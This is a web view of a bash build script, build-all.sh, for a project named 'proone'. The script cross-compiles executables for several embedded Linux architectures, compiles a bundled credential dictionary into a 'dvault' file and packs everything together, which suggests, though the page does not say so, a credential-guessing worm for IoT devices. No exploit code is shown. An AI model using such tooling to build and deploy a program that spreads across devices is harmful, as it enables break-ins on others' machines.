aboutsummaryrefslogtreecommitdiff
path: root/scripts/build-all.sh
blob: 7bb880986aedf17ee369b266514d7017587d9928 (plain)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
#!/bin/bash
set -e

ARCH_ARR=(
#	"aarch64"
	"armv4t"
#	"armv7"
	"i686"
#	"x86_64"
	"mips"
	"mpsl"
	"ppc"
	"sh4"
)
TOOLCHAIN_ARR=(
#	"aarch64"
	"armv4t"
#	"armv7"
	"i686"
#	"x86_64"
	"mips"
	"mpsl"
	"ppc"
	"sh4"
)
HOST_ARR=(
#	"aarch64-linux"
	"arm-linux"
#	"arm-linux"
	"i686-linux"
#	"x86_64-linux"
	"mips-linux"
	"mipsel-linux"
	"powerpc-linux"
	"sh4-linux"
)
ARR_SIZE="${#ARCH_ARR[@]}"
if [ $ARR_SIZE -ne "${#TOOLCHAIN_ARR[@]}" ] ||
	[ $ARR_SIZE -ne "${#HOST_ARR[@]}" ];
then
	echo "Config error: arrays" >&2
	exit 2
fi

PROONE_PREFIX="builds"
PROONE_DEBUG_SYM_DIR="$PROONE_PREFIX/debug"
PROONE_EXEC_DIR="$PROONE_PREFIX/proone.bin"
PROONE_TOOLS_DIR="$PROONE_PREFIX/tools"
PROONE_MISC_BIN_DIR="$PROONE_PREFIX/misc"
PROONE_BINARCH_DIR="$PROONE_PREFIX/binarch"
PROONE_REL_DIR="$PROONE_PREFIX/proone"
export PROONE_DEBUG_SYM_PREFIX="$PROONE_DEBUG_SYM_DIR/"
export PROONE_EXEC_PREFIX="$PROONE_EXEC_DIR/exec"
export PROONE_MISC_BIN_PREFIX="$PROONE_MISC_BIN_DIR/"
PROONE_REL_PREFIX="$PROONE_REL_DIR/proone"
PROONE_BINARCH_PREFIX="$PROONE_BINARCH_DIR/binarch"
PROONE_CDICT="$PROONE_PREFIX/cred_dict.bin"
PROONE_DVAULT="$PROONE_PREFIX/dvault.bin"
PROONE_TOOLS="
	proone-pack
	proone-list-arch
	proone-mkcdict
	proone-mkdvault
	proone-ipaddr-arr
"


rm -rf "$PROONE_PREFIX"
mkdir\
	"$PROONE_PREFIX"\
	"$PROONE_DEBUG_SYM_DIR"\
	"$PROONE_EXEC_DIR"\
	"$PROONE_TOOLS_DIR"\
	"$PROONE_MISC_BIN_DIR"\
	"$PROONE_BINARCH_DIR"\
	"$PROONE_REL_DIR"
set +e
make distclean
set -e

# native build for tools
./configure $PROONE_AM_CONF
make -j$(nproc) -C src $PROONE_TOOLS
for t in $PROONE_TOOLS; do
	cp -a "src/$t" "$PROONE_TOOLS_DIR"
done
cp -a "./src/run-tests.sh" "./src/testlist" "$PROONE_MISC_BIN_DIR"
make distclean

# generate dvault
"$PROONE_TOOLS_DIR/proone-mkcdict"\
	"./src/proone_conf/cred_dict.txt"\
	"$PROONE_CDICT"
"$PROONE_TOOLS_DIR/proone-mkdvault" "$PROONE_CDICT" > "$PROONE_DVAULT"
DVAULT_SIZE=$(stat -c "%s" "$PROONE_DVAULT")

# cross-compile targets
for (( i = 0; i < ARR_SIZE; i += 1 )); do
	PROONE_BIN_OS="linux"\
	PROONE_HOST="${HOST_ARR[$i]}"\
	PROONE_BIN_ARCH="${ARCH_ARR[$i]}"\
	xcomp linux-app\
		"${TOOLCHAIN_ARR[$i]}"\
		"scripts/build-arch.sh"
done

# pack
"$PROONE_TOOLS_DIR/proone-pack"\
	"$PROONE_REL_PREFIX"\
	"$PROONE_DVAULT"\
	"$PROONE_EXEC_PREFIX".*